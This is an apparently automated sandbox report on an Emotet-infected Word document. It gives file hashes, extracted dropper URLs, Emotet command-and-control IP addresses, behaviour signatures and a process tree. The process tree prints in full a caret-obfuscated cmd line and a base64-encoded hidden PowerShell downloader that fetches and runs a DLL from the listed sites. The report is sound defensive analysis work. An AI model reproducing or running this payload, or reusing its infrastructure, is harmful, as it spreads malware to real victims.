Analysis

  • max time kernel
    128s
  • max time network
    136s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    27-01-2021 13:45

General

  • Target

    Informacion_25.doc

  • Size

    172KB

  • MD5

    0ccb4f75ef19e618d216816a5282bd09

  • SHA1

    7028d7080ce78804176cd1a14b3ceed1c9c374cc

  • SHA256

    47b5048b9811c07120b3d72a7c46281cd98f12d807cbc75b70bf1d18925c6cc2

  • SHA512

    c5a8d46a5cdc956309882075cdd292a7388ee08520e62fb0633a17a9a0d62f67782f0dd4218bd941920e00873014de2f635b0ed9df97db913edb54d4f29aba95

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.escalierconsulting.com/wp-includes/I/

exe.dropper

http://aecotimes.com/wp-admin/44Z/

exe.dropper

http://rakikuma.com/cgi-bin/K/

exe.dropper

http://de.letscompareonline.com/cgi-bin/ztEE/

exe.dropper

http://haumaguerraevoceoalvo.com.br/wp-includes/0Hm/

exe.dropper

http://paulomarciotrp.com/z/y/

exe.dropper

https://njyp.com/wp-content/Nz/1/

Extracted

Family

emotet

Botnet

Epoch2

C2

69.38.130.14:80

195.159.28.230:8080

162.241.204.233:8080

181.165.68.127:80

49.205.182.134:80

190.251.200.206:80

139.59.60.244:8080

119.59.116.21:8080

89.216.122.92:80

185.94.252.104:443

70.92.118.112:80

78.24.219.147:8080

173.70.61.180:80

87.106.139.101:8080

66.57.108.14:443

24.179.13.119:80

121.124.124.40:7080

61.19.246.238:443

200.116.145.225:443

93.146.48.84:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 37 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Informacion_25.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1668
  • C:\Windows\system32\cmd.exe
    cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc UwBFAFQALQBpAFQAZQBtACAAIABWAGEAcgBJAEEAQgBMAEUAOgBoADMANABaADUAOAAgACgAIABbAHQAWQBQAEUAXQAoACIAewAyAH0AewA0AH0AewAzAH0AewAxAH0AewAwAH0AIgAgAC0AZgAgACcAWQAnACwAJwBjAFQATwByACcALAAnAFMAeQBzACcALAAnAC4ASQBPAC4AZABJAFIARQAnACwAJwBUAGUAbQAnACkAIAAgACkAIAAgADsAIAAgACAAIABzAGUAdAAtAGkAVABlAG0AIAAoACIAdgBBAFIAIgArACIASQBhAEIAbABFADoAIgArACIAOABuAFkAbQAiACsAIgBEAFQAIgApACAAKABbAHQAeQBQAEUAXQAoACIAewAwAH0AewAzAH0AewAxAH0AewAyAH0AewA0AH0AIgAtAGYAJwBzAHkAUwBUAGUAbQAuAE4AZQBUAC4AJwAsACcARQByAFYAaQBjAEUAcABPAGkAbgB0AG0AYQBuAEEAZwAnACwAJwBlACcALAAnAFMAJwAsACcAUgAnACkAIAApADsAIAAgACQASABsAHIAdQBfAHEAMAA9ACQAQgA5ADAATQAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQASQA4ADAAUgA7ACQASgAzADQATgA9ACgAJwBGACcAKwAoACcANAAnACsAJwAxAFgAJwApACkAOwAgACQAaAAzADQAWgA1ADgAOgA6ACIAYwBgAFIARQBBAFQAZQBgAGQAaQByAEUAYABjAFQAbwByAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwBUACcAKwAoACcAawA3ACcAKwAnAE0ANgA0ACcAKQArACgAJwBwAGMAJwArACcAZABtACcAKwAnAFQAawA3AFEAagAnACkAKwAoACcAYQBiAHEAJwArACcAYgAnACkAKwAoACcAbQBUACcAKwAnAGsAJwApACsAJwA3ACcAKQAuACIAUgBlAGAAUABMAGAAQQBjAEUAIgAoACgAJwBUAGsAJwArACcANwAnACkALAAnAFwAJwApACkAKQA7ACQATwAwADUARgA9ACgAJwBYADEAJwArACcAOABMACcAKQA7ACAAIAAoACAAIABHAGMASQAgACgAIgB2AEEAUgAiACsAIgBpAEEAQgBMAEUAOgAiACsAIgA4AG4AWQBtACIAKwAiAGQAdAAiACkAKQAuAFYAQQBMAFUARQA6ADoAIgBTAGUAYABjAHUAUgBgAEkAVAB5AHAAYABSAG8AYABUAG8AYABjAG8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzADEAJwApACsAJwAyACcAKQA7ACQAWgAzAF8ASwA9ACgAKAAnAEUAJwArACcANwA2ACcAKQArACcAVAAnACkAOwAkAFIAbAB4AG8AdQBtAGoAIAA9ACAAKAAoACcARQAwACcAKwAnADkAJwApACsAJwBPACcAKQA7ACQAQwA3ADIAUgA9ACgAKAAnAFMAJwArACcANQAyACcAKQArACcAUAAnACkAOwAkAEkAagAwAHgAdAAzAGQAPQAkAEgATwBNAEUAKwAoACgAKAAnADIAQgBVACcAKwAnAE0ANgA0ACcAKwAnAHAAJwApACsAKAAnAGMAZAAnACsAJwBtADIAQgBVAFEAJwArACcAagBhACcAKwAnAGIAcQBiAG0AJwApACsAJwAyACcAKwAnAEIAVQAnACkAIAAtAHIARQBwAGwAYQBDAEUAKABbAEMAaABhAFIAXQA1ADAAKwBbAEMAaABhAFIAXQA2ADYAKwBbAEMAaABhAFIAXQA4ADUAKQAsAFsAQwBoAGEAUgBdADkAMgApACsAJABSAGwAeABvAHUAbQBqACsAJwAuAGQAJwAgACsAIAAnAGwAbAAnADsAJABGADUAOABYAD0AKAAnAEYAXwAnACsAJwA1AEUAJwApADsAJABIADgANQAyADgAcQB1AD0AJwBoACcAIAArACAAJwB0AHQAJwAgACsAIAAnAHAAJwA7ACQAUwAyADQAeQBtAGMAcAA9ACgAKAAnAG4AcwAnACsAJwAgACcAKwAnAHcAdQAgAGQAYgAgACcAKQArACgAJwBuAGQAOgAvAC8AdwB3AHcAJwArACcALgAnACkAKwAoACcAZQAnACsAJwBzAGMAYQBsAGkAZQByACcAKQArACgAJwBjAG8AJwArACcAbgBzAHUAbAB0ACcAKQArACgAJwBpAG4AJwArACcAZwAuACcAKQArACgAJwBjACcAKwAnAG8AbQAnACkAKwAoACcALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwAnACsAJwBJAC8AIQAnACsAJwBuAHMAIAAnACsAJwB3ACcAKQArACgAJwB1ACAAZAAnACsAJwBiACcAKQArACcAIAAnACsAKAAnAG4AZAA6AC8AJwArACcALwAnACsAJwBhACcAKwAnAGUAYwBvACcAKwAnAHQAaQBtAGUAcwAuACcAKQArACcAYwAnACsAJwBvACcAKwAoACcAbQAnACsAJwAvACcAKwAnAHcAcAAtAGEAZABtACcAKQArACgAJwBpAG4AJwArACcALwAnACkAKwAoACcANAA0AFoAJwArACcALwAnACkAKwAoACcAIQBuACcAKwAnAHMAIAB3ACcAKwAnAHUAIABkACcAKwAnAGIAIAAnACsAJwBuAGQAOgAvACcAKQArACcALwByACcAKwAoACcAYQAnACsAJwBrAGkAJwApACsAJwBrAHUAJwArACgAJwBtAGEALgBjACcAKwAnAG8AbQAvACcAKwAnAGMAZwAnACkAKwAoACcAaQAtAGIAaQAnACsAJwBuAC8ASwAnACkAKwAnAC8AIQAnACsAKAAnAG4AcwAgACcAKwAnAHcAdQAnACsAJwAgAGQAYgAnACsAJwAgACcAKQArACcAbgBkACcAKwAoACcAOgAvACcAKwAnAC8AZAAnACkAKwAnAGUAJwArACgAJwAuAGwAZQB0AHMAJwArACcAYwAnACkAKwAoACcAbwBtACcAKwAnAHAAYQAnACkAKwAoACcAcgBlACcAKwAnAG8AbgBsACcAKQArACgAJwBpACcAKwAnAG4AZQAnACkAKwAoACcALgBjAG8AbQAvACcAKwAnAGMAZwAnACsAJwBpAC0AJwApACsAKAAnAGIAaQBuAC8AJwArACcAegAnACsAJwB0AEUAJwApACsAKAAnAEUALwAhAG4AcwAnACsAJwAgAHcAJwApACsAKAAnAHUAJwArACcAIABkAGIAIABuAGQAJwApACsAJwA6ACcAKwAnAC8AJwArACgAJwAvACcAKwAnAGgAYQB1ACcAKQArACgAJwBtACcAKwAnAGEAZwAnACkAKwAoACcAdQBlAHIAJwArACcAcgBhAGUAdgBvAGMAJwApACsAKAAnAGUAbwBhAGwAJwArACcAdgAnACkAKwAoACcAbwAuACcAKwAnAGMAbwBtACcAKQArACgAJwAuAGIAJwArACcAcgAvAHcAcAAtAGkAJwApACsAKAAnAG4AYwBsAHUAJwArACcAZAAnACkAKwAoACcAZQBzACcAKwAnAC8AMAAnACkAKwAoACcASAAnACsAJwBtAC8AIQBuACcAKQArACgAJwBzACAAJwArACcAdwB1ACcAKQArACcAIAAnACsAJwBkAGIAJwArACgAJwAgAG4AJwArACcAZAA6AC8AJwArACcALwBwAGEAdQAnACkAKwAoACcAbABvAG0AJwArACcAYQAnACkAKwAoACcAcgBjAGkAbwB0AHIAJwArACcAcAAuAGMAJwArACcAbwAnACsAJwBtAC8AegAvAHkAJwArACcALwAnACkAKwAnACEAbgAnACsAKAAnAHMAIAB3AHUAIAAnACsAJwBkAGIAIABuACcAKQArACcAZAAnACsAKAAnAHMAJwArACcAOgAvACcAKQArACgAJwAvAG4AagB5AHAAJwArACcALgBjACcAKwAnAG8AbQAvAHcAcAAnACsAJwAtAGMAbwBuACcAKwAnAHQAJwArACcAZQBuAHQAJwApACsAKAAnAC8AJwArACcATgB6AC8AMQAvACcAKQApAC4AIgByAGUAUABsAGAAQQBgAEMARQAiACgAKAAnAG4AJwArACcAcwAnACsAKAAnACAAJwArACcAdwAnACsAJwB1ACAAZABiACcAKQArACgAJwAgAG4AJwArACcAZAAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAbgBqACcALAAnAHQAcgAnACkALAAnAHkAagAnACwAJwBzAGMAJwAsACQASAA4ADUAMgA4AHEAdQAsACcAdwBkACcAKQBbADMAXQApAC4AIgBTAGAAcABsAGkAVAAiACgAJABEADMAMABBACAAKwAgACQASABsAHIAdQBfAHEAMAAgACsAIAAkAFAAMAA0AFMAKQA7ACQAUQAxADAATQA9ACgAJwBIAF8AJwArACcAMQBRACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQASwBrAGoAZgBwAHkAYgAgAGkAbgAgACQAUwAyADQAeQBtAGMAcAApAHsAdAByAHkAewAoAC4AKAAnAE4AZQB3AC0ATwAnACsAJwBiAGoAZQAnACsAJwBjAHQAJwApACAAUwB5AFMAdABlAE0ALgBuAEUAVAAuAFcARQBiAGMAbABpAEUAbgBUACkALgAiAEQAbwBXAGAATgBsAG8AQQBEAGAARgBJAGAAbABlACIAKAAkAEsAawBqAGYAcAB5AGIALAAgACQASQBqADAAeAB0ADMAZAApADsAJABQADEANABXAD0AKAAnAFQAJwArACgAJwAwACcAKwAnADcAVwAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABJAGoAMAB4AHQAMwBkACkALgAiAGwAYABFAE4ARwBgAFQASAAiACAALQBnAGUAIAA0ADgAOQA5ADYAKQAgAHsALgAoACcAcgAnACsAJwB1ACcAKwAnAG4AZABsAGwAMwAyACcAKQAgACQASQBqADAAeAB0ADMAZAAsACgAJwBBACcAKwAnAG4AJwArACgAJwB5AFMAdAAnACsAJwByACcAKQArACgAJwBpACcAKwAnAG4AZwAnACkAKQAuACIAVABvAGAAcwBUAGAAUgBJAG4AZwAiACgAKQA7ACQATAA3ADEAUAA9ACgAJwBTACcAKwAoACcAMgAnACsAJwAzAEYAJwApACkAOwBiAHIAZQBhAGsAOwAkAEQANQAxAFcAPQAoACcAUAAzACcAKwAnADUAUQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFoAMAA0AFkAPQAoACgAJwBYADEAJwArACcAOAAnACkAKwAnAFIAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of WriteProcessMemory
    PID:1752
    • C:\Windows\system32\msg.exe
      msg Admin /v Word experienced an error trying to open the file.
      2⤵
        PID:1064
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -w hidden -enc UwBFAFQALQBpAFQAZQBtACAAIABWAGEAcgBJAEEAQgBMAEUAOgBoADMANABaADUAOAAgACgAIABbAHQAWQBQAEUAXQAoACIAewAyAH0AewA0AH0AewAzAH0AewAxAH0AewAwAH0AIgAgAC0AZgAgACcAWQAnACwAJwBjAFQATwByACcALAAnAFMAeQBzACcALAAnAC4ASQBPAC4AZABJAFIARQAnACwAJwBUAGUAbQAnACkAIAAgACkAIAAgADsAIAAgACAAIABzAGUAdAAtAGkAVABlAG0AIAAoACIAdgBBAFIAIgArACIASQBhAEIAbABFADoAIgArACIAOABuAFkAbQAiACsAIgBEAFQAIgApACAAKABbAHQAeQBQAEUAXQAoACIAewAwAH0AewAzAH0AewAxAH0AewAyAH0AewA0AH0AIgAtAGYAJwBzAHkAUwBUAGUAbQAuAE4AZQBUAC4AJwAsACcARQByAFYAaQBjAEUAcABPAGkAbgB0AG0AYQBuAEEAZwAnACwAJwBlACcALAAnAFMAJwAsACcAUgAnACkAIAApADsAIAAgACQASABsAHIAdQBfAHEAMAA9ACQAQgA5ADAATQAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQASQA4ADAAUgA7ACQASgAzADQATgA9ACgAJwBGACcAKwAoACcANAAnACsAJwAxAFgAJwApACkAOwAgACQAaAAzADQAWgA1ADgAOgA6ACIAYwBgAFIARQBBAFQAZQBgAGQAaQByAEUAYABjAFQAbwByAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwBUACcAKwAoACcAawA3ACcAKwAnAE0ANgA0ACcAKQArACgAJwBwAGMAJwArACcAZABtACcAKwAnAFQAawA3AFEAagAnACkAKwAoACcAYQBiAHEAJwArACcAYgAnACkAKwAoACcAbQBUACcAKwAnAGsAJwApACsAJwA3ACcAKQAuACIAUgBlAGAAUABMAGAAQQBjAEUAIgAoACgAJwBUAGsAJwArACcANwAnACkALAAnAFwAJwApACkAKQA7ACQATwAwADUARgA9ACgAJwBYADEAJwArACcAOABMACcAKQA7ACAAIAAoACAAIABHAGMASQAgACgAIgB2AEEAUgAiACsAIgBpAEEAQgBMAEUAOgAiACsAIgA4AG4AWQBtACIAKwAiAGQAdAAiACkAKQAuAFYAQQBMAFUARQA6ADoAIgBTAGUAYABjAHUAUgBgAEkAVAB5AHAAYABSAG8AYABUAG8AYABjAG8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzADEAJwApACsAJwAyACcAKQA7ACQAWgAzAF8ASwA9ACgAKAAnAEUAJwArACcANwA2ACcAKQArACcAVAAnACkAOwAkAFIAbAB4AG8AdQBtAGoAIAA9ACAAKAAoACcARQAwACcAKwAnADkAJwApACsAJwBPACcAKQA7ACQAQwA3ADIAUgA9ACgAKAAnAFMAJwArACcANQAyACcAKQArACcAUAAnACkAOwAkAEkAagAwAHgAdAAzAGQAPQAkAEgATwBNAEUAKwAoACgAKAAnADIAQgBVACcAKwAnAE0ANgA0ACcAKwAnAHAAJwApACsAKAAnAGMAZAAnACsAJwBtADIAQgBVAFEAJwArACcAagBhACcAKwAnAGIAcQBiAG0AJwApACsAJwAyACcAKwAnAEIAVQAnACkAIAAtAHIARQBwAGwAYQBDAEUAKABbAEMAaABhAFIAXQA1ADAAKwBbAEMAaABhAFIAXQA2ADYAKwBbAEMAaABhAFIAXQA4ADUAKQAsAFsAQwBoAGEAUgBdADkAMgApACsAJABSAGwAeABvAHUAbQBqACsAJwAuAGQAJwAgACsAIAAnAGwAbAAnADsAJABGADUAOABYAD0AKAAnAEYAXwAnACsAJwA1AEUAJwApADsAJABIADgANQAyADgAcQB1AD0AJwBoACcAIAArACAAJwB0AHQAJwAgACsAIAAnAHAAJwA7ACQAUwAyADQAeQBtAGMAcAA9ACgAKAAnAG4AcwAnACsAJwAgACcAKwAnAHcAdQAgAGQAYgAgACcAKQArACgAJwBuAGQAOgAvAC8AdwB3AHcAJwArACcALgAnACkAKwAoACcAZQAnACsAJwBzAGMAYQBsAGkAZQByACcAKQArACgAJwBjAG8AJwArACcAbgBzAHUAbAB0ACcAKQArACgAJwBpAG4AJwArACcAZwAuACcAKQArACgAJwBjACcAKwAnAG8AbQAnACkAKwAoACcALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwAnACsAJwBJAC8AIQAnACsAJwBuAHMAIAAnACsAJwB3ACcAKQArACgAJwB1ACAAZAAnACsAJwBiACcAKQArACcAIAAnACsAKAAnAG4AZAA6AC8AJwArACcALwAnACsAJwBhACcAKwAnAGUAYwBvACcAKwAnAHQAaQBtAGUAcwAuACcAKQArACcAYwAnACsAJwBvACcAKwAoACcAbQAnACsAJwAvACcAKwAnAHcAcAAtAGEAZABtACcAKQArACgAJwBpAG4AJwArACcALwAnACkAKwAoACcANAA0AFoAJwArACcALwAnACkAKwAoACcAIQBuACcAKwAnAHMAIAB3ACcAKwAnAHUAIABkACcAKwAnAGIAIAAnACsAJwBuAGQAOgAvACcAKQArACcALwByACcAKwAoACcAYQAnACsAJwBrAGkAJwApACsAJwBrAHUAJwArACgAJwBtAGEALgBjACcAKwAnAG8AbQAvACcAKwAnAGMAZwAnACkAKwAoACcAaQAtAGIAaQAnACsAJwBuAC8ASwAnACkAKwAnAC8AIQAnACsAKAAnAG4AcwAgACcAKwAnAHcAdQAnACsAJwAgAGQAYgAnACsAJwAgACcAKQArACcAbgBkACcAKwAoACcAOgAvACcAKwAnAC8AZAAnACkAKwAnAGUAJwArACgAJwAuAGwAZQB0AHMAJwArACcAYwAnACkAKwAoACcAbwBtACcAKwAnAHAAYQAnACkAKwAoACcAcgBlACcAKwAnAG8AbgBsACcAKQArACgAJwBpACcAKwAnAG4AZQAnACkAKwAoACcALgBjAG8AbQAvACcAKwAnAGMAZwAnACsAJwBpAC0AJwApACsAKAAnAGIAaQBuAC8AJwArACcAegAnACsAJwB0AEUAJwApACsAKAAnAEUALwAhAG4AcwAnACsAJwAgAHcAJwApACsAKAAnAHUAJwArACcAIABkAGIAIABuAGQAJwApACsAJwA6ACcAKwAnAC8AJwArACgAJwAvACcAKwAnAGgAYQB1ACcAKQArACgAJwBtACcAKwAnAGEAZwAnACkAKwAoACcAdQBlAHIAJwArACcAcgBhAGUAdgBvAGMAJwApACsAKAAnAGUAbwBhAGwAJwArACcAdgAnACkAKwAoACcAbwAuACcAKwAnAGMAbwBtACcAKQArACgAJwAuAGIAJwArACcAcgAvAHcAcAAtAGkAJwApACsAKAAnAG4AYwBsAHUAJwArACcAZAAnACkAKwAoACcAZQBzACcAKwAnAC8AMAAnACkAKwAoACcASAAnACsAJwBtAC8AIQBuACcAKQArACgAJwBzACAAJwArACcAdwB1ACcAKQArACcAIAAnACsAJwBkAGIAJwArACgAJwAgAG4AJwArACcAZAA6AC8AJwArACcALwBwAGEAdQAnACkAKwAoACcAbABvAG0AJwArACcAYQAnACkAKwAoACcAcgBjAGkAbwB0AHIAJwArACcAcAAuAGMAJwArACcAbwAnACsAJwBtAC8AegAvAHkAJwArACcALwAnACkAKwAnACEAbgAnACsAKAAnAHMAIAB3AHUAIAAnACsAJwBkAGIAIABuACcAKQArACcAZAAnACsAKAAnAHMAJwArACcAOgAvACcAKQArACgAJwAvAG4AagB5AHAAJwArACcALgBjACcAKwAnAG8AbQAvAHcAcAAnACsAJwAtAGMAbwBuACcAKwAnAHQAJwArACcAZQBuAHQAJwApACsAKAAnAC8AJwArACcATgB6AC8AMQAvACcAKQApAC4AIgByAGUAUABsAGAAQQBgAEMARQAiACgAKAAnAG4AJwArACcAcwAnACsAKAAnACAAJwArACcAdwAnACsAJwB1ACAAZABiACcAKQArACgAJwAgAG4AJwArACcAZAAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAbgBqACcALAAnAHQAcgAnACkALAAnAHkAagAnACwAJwBzAGMAJwAsACQASAA4ADUAMgA4AHEAdQAsACcAdwBkACcAKQBbADMAXQApAC4AIgBTAGAAcABsAGkAVAAiACgAJABEADMAMABBACAAKwAgACQASABsAHIAdQBfAHEAMAAgACsAIAAkAFAAMAA0AFMAKQA7ACQAUQAxADAATQA9ACgAJwBIAF8AJwArACcAMQBRACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQASwBrAGoAZgBwAHkAYgAgAGkAbgAgACQAUwAyADQAeQBtAGMAcAApAHsAdAByAHkAewAoAC4AKAAnAE4AZQB3AC0ATwAnACsAJwBiAGoAZQAnACsAJwBjAHQAJwApACAAUwB5AFMAdABlAE0ALgBuAEUAVAAuAFcARQBiAGMAbABpAEUAbgBUACkALgAiAEQAbwBXAGAATgBsAG8AQQBEAGAARgBJAGAAbABlACIAKAAkAEsAawBqAGYAcAB5AGIALAAgACQASQBqADAAeAB0ADMAZAApADsAJABQADEANABXAD0AKAAnAFQAJwArACgAJwAwACcAKwAnADcAVwAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABJAGoAMAB4AHQAMwBkACkALgAiAGwAYABFAE4ARwBgAFQASAAiACAALQBnAGUAIAA0ADgAOQA5ADYAKQAgAHsALgAoACcAcgAnACsAJwB1ACcAKwAnAG4AZABsAGwAMwAyACcAKQAgACQASQBqADAAeAB0ADMAZAAsACgAJwBBACcAKwAnAG4AJwArACgAJwB5AFMAdAAnACsAJwByACcAKQArACgAJwBpACcAKwAnAG4AZwAnACkAKQAuACIAVABvAGAAcwBUAGAAUgBJAG4AZwAiACgAKQA7ACQATAA3ADEAUAA9ACgAJwBTACcAKwAoACcAMgAnACsAJwAzAEYAJwApACkAOwBiAHIAZQBhAGsAOwAkAEQANQAxAFcAPQAoACcAUAAzACcAKwAnADUAUQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFoAMAA0AFkAPQAoACgAJwBYADEAJwArACcAOAAnACkAKwAnAFIAJwApAA==
        2⤵
        • Blocklisted process makes network request
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:564
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" C:\Users\Admin\M64pcdm\Qjabqbm\E09O.dll AnyString
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1328
          • C:\Windows\SysWOW64\rundll32.exe
            "C:\Windows\system32\rundll32.exe" C:\Users\Admin\M64pcdm\Qjabqbm\E09O.dll AnyString
            4⤵
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:1640
            • C:\Windows\SysWOW64\rundll32.exe
              C:\Windows\SysWOW64\rundll32.exe "C:\Users\Admin\M64pcdm\Qjabqbm\E09O.dll",#1
              5⤵
              • Loads dropped DLL
              • Drops file in System32 directory
              • Suspicious use of WriteProcessMemory
              PID:1664
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Yyffk\bryy.zak",XEYAnbqj
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:512
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Yyffk\bryy.zak",#1
                  7⤵
                  • Blocklisted process makes network request
                  • Suspicious behavior: EnumeratesProcesses
                  PID:788

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Discovery

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\M64pcdm\Qjabqbm\E09O.dll
      MD5

      bd0dc582d9558d9ad6ee51013909d338

      SHA1

      ace9c04ed60da60dea4a50510240a9cdb36b72f4

      SHA256

      15cef0d54569b69e974afcf87eb4eedfc811fe38a515e5fd4853216dc5c2be72

      SHA512

      767f1a61917649765211cfa41536e840c06513929cf63f5ad768a2c6df528086aceea8de9f618c809615f105dcb9d7e72ea558adaeb1f54746668140462684da

    • \Users\Admin\M64pcdm\Qjabqbm\E09O.dll
      MD5

      bd0dc582d9558d9ad6ee51013909d338

      SHA1

      ace9c04ed60da60dea4a50510240a9cdb36b72f4

      SHA256

      15cef0d54569b69e974afcf87eb4eedfc811fe38a515e5fd4853216dc5c2be72

      SHA512

      767f1a61917649765211cfa41536e840c06513929cf63f5ad768a2c6df528086aceea8de9f618c809615f105dcb9d7e72ea558adaeb1f54746668140462684da

    • \Users\Admin\M64pcdm\Qjabqbm\E09O.dll
      MD5

      bd0dc582d9558d9ad6ee51013909d338

      SHA1

      ace9c04ed60da60dea4a50510240a9cdb36b72f4

      SHA256

      15cef0d54569b69e974afcf87eb4eedfc811fe38a515e5fd4853216dc5c2be72

      SHA512

      767f1a61917649765211cfa41536e840c06513929cf63f5ad768a2c6df528086aceea8de9f618c809615f105dcb9d7e72ea558adaeb1f54746668140462684da

    • \Users\Admin\M64pcdm\Qjabqbm\E09O.dll
      MD5

      bd0dc582d9558d9ad6ee51013909d338

      SHA1

      ace9c04ed60da60dea4a50510240a9cdb36b72f4

      SHA256

      15cef0d54569b69e974afcf87eb4eedfc811fe38a515e5fd4853216dc5c2be72

      SHA512

      767f1a61917649765211cfa41536e840c06513929cf63f5ad768a2c6df528086aceea8de9f618c809615f105dcb9d7e72ea558adaeb1f54746668140462684da

    • \Users\Admin\M64pcdm\Qjabqbm\E09O.dll
      MD5

      bd0dc582d9558d9ad6ee51013909d338

      SHA1

      ace9c04ed60da60dea4a50510240a9cdb36b72f4

      SHA256

      15cef0d54569b69e974afcf87eb4eedfc811fe38a515e5fd4853216dc5c2be72

      SHA512

      767f1a61917649765211cfa41536e840c06513929cf63f5ad768a2c6df528086aceea8de9f618c809615f105dcb9d7e72ea558adaeb1f54746668140462684da

    • \Users\Admin\M64pcdm\Qjabqbm\E09O.dll
      MD5

      bd0dc582d9558d9ad6ee51013909d338

      SHA1

      ace9c04ed60da60dea4a50510240a9cdb36b72f4

      SHA256

      15cef0d54569b69e974afcf87eb4eedfc811fe38a515e5fd4853216dc5c2be72

      SHA512

      767f1a61917649765211cfa41536e840c06513929cf63f5ad768a2c6df528086aceea8de9f618c809615f105dcb9d7e72ea558adaeb1f54746668140462684da

    • \Users\Admin\M64pcdm\Qjabqbm\E09O.dll
      MD5

      bd0dc582d9558d9ad6ee51013909d338

      SHA1

      ace9c04ed60da60dea4a50510240a9cdb36b72f4

      SHA256

      15cef0d54569b69e974afcf87eb4eedfc811fe38a515e5fd4853216dc5c2be72

      SHA512

      767f1a61917649765211cfa41536e840c06513929cf63f5ad768a2c6df528086aceea8de9f618c809615f105dcb9d7e72ea558adaeb1f54746668140462684da

    • \Users\Admin\M64pcdm\Qjabqbm\E09O.dll
      MD5

      bd0dc582d9558d9ad6ee51013909d338

      SHA1

      ace9c04ed60da60dea4a50510240a9cdb36b72f4

      SHA256

      15cef0d54569b69e974afcf87eb4eedfc811fe38a515e5fd4853216dc5c2be72

      SHA512

      767f1a61917649765211cfa41536e840c06513929cf63f5ad768a2c6df528086aceea8de9f618c809615f105dcb9d7e72ea558adaeb1f54746668140462684da

    • \Users\Admin\M64pcdm\Qjabqbm\E09O.dll
      MD5

      bd0dc582d9558d9ad6ee51013909d338

      SHA1

      ace9c04ed60da60dea4a50510240a9cdb36b72f4

      SHA256

      15cef0d54569b69e974afcf87eb4eedfc811fe38a515e5fd4853216dc5c2be72

      SHA512

      767f1a61917649765211cfa41536e840c06513929cf63f5ad768a2c6df528086aceea8de9f618c809615f105dcb9d7e72ea558adaeb1f54746668140462684da

    • memory/512-40-0x0000000000761000-0x00000000007C4000-memory.dmp
      Filesize

      396KB

    • memory/512-33-0x0000000000000000-mapping.dmp
    • memory/564-11-0x000000001AB80000-0x000000001AB82000-memory.dmp
      Filesize

      8KB

    • memory/564-10-0x000000001AC00000-0x000000001AC01000-memory.dmp
      Filesize

      4KB

    • memory/564-15-0x000000001AA70000-0x000000001AA71000-memory.dmp
      Filesize

      4KB

    • memory/564-16-0x000000001C0E0000-0x000000001C0E1000-memory.dmp
      Filesize

      4KB

    • memory/564-6-0x0000000000000000-mapping.dmp
    • memory/564-13-0x00000000026B0000-0x00000000026B1000-memory.dmp
      Filesize

      4KB

    • memory/564-7-0x000007FEFB6F1000-0x000007FEFB6F3000-memory.dmp
      Filesize

      8KB

    • memory/564-14-0x0000000002770000-0x0000000002771000-memory.dmp
      Filesize

      4KB

    • memory/564-12-0x000000001AB84000-0x000000001AB86000-memory.dmp
      Filesize

      8KB

    • memory/564-8-0x000007FEF4E30000-0x000007FEF581C000-memory.dmp
      Filesize

      9.9MB

    • memory/564-9-0x0000000002470000-0x0000000002471000-memory.dmp
      Filesize

      4KB

    • memory/788-36-0x0000000000000000-mapping.dmp
